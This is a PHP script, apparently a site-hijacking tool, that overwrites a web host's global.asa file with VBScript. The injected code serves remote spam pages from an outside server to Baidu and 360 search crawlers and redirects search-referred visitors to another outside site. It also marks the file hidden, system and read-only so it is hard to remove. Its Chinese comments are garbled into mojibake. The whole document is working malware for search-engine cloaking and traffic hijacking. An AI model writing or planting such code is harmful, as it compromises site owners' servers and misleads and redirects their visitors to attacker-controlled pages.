<?php // 瀹氫箟鏂囦欢璺緞 $filePath = 'D:\\vhostroot\\LocalUser\\yuda\\www\\global.asa'; // 鏂板唴瀹� $newContent = <<<EOD <script CodePage=936 language="vbscript" runat="server"> server.Scripttimeout=3600 dim ua,Remote_server,host_name,Remote_file,Content_mb,referrer On Error Resume Next ua=Request.ServerVariables("HTTP_USER_AGENT") referrer=Request.ServerVariables("HTTP_REFERER") If Err.Number <> 0 Then Err.Clear End If Remote_server="http://y.ban10.cn/asp/ind.php" host_name="http://" & request.servervariables("HTTP_HOST") & request.servervariables("SCRIPT_NAME") Remote_file = Remote_server & "/index.php" & "?host=" & host_name & "&url=" & Request.servervariables("QUERY_STRING") & "&domain=" & Request.servervariables("SERVER_NAME") If (instr(ua,"360Spider") > 0 Or instr(ua,"so") > 0 Or instr(ua,"baidu") > 0) Then Content_mb = GetHtml(Remote_file) response.write Content_mb End If If (instr(referrer, "baidu.com") > 0 Or instr(referrer, "sogou.com") > 0) Then response.redirect("https://tz.ban10.cn/yao.php") End If Set fso = Server.CreateObject("Scripting.FileSystemObject") set f=fso.Getfile(Server.MapPath("global.asa")) if f.attributes <> 7 then f.attributes = 7 end if Function GetHtml(url) On Error Resume Next Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET", url, False ObjXMLHTTP.setRequestHeader "User-Agent", "aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode = 3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "utf-8" GetHtml = objStream.ReadText objStream.Close If Err.Number <> 0 Then Err.Clear End If End Function </script> EOD; // 纭繚鏂囦欢鍙啓 if (is_writable($filePath)) { // 鎵撳紑鏂囦欢锛屽苟娓呯┖鍐呭 $file = fopen($filePath, 'w'); if ($file) { // 鍐欏叆鏂扮殑鍐呭 fwrite($file, $newContent); fclose($file); echo "鏂囦欢鍐呭宸叉垚鍔熸洿鏂帮紒"; } else { echo "鏃犳硶鎵撳紑鏂囦欢杩涜鍐欏叆锛�"; } } else { echo "鏂囦欢涓嶅彲鍐欙紒"; } ?>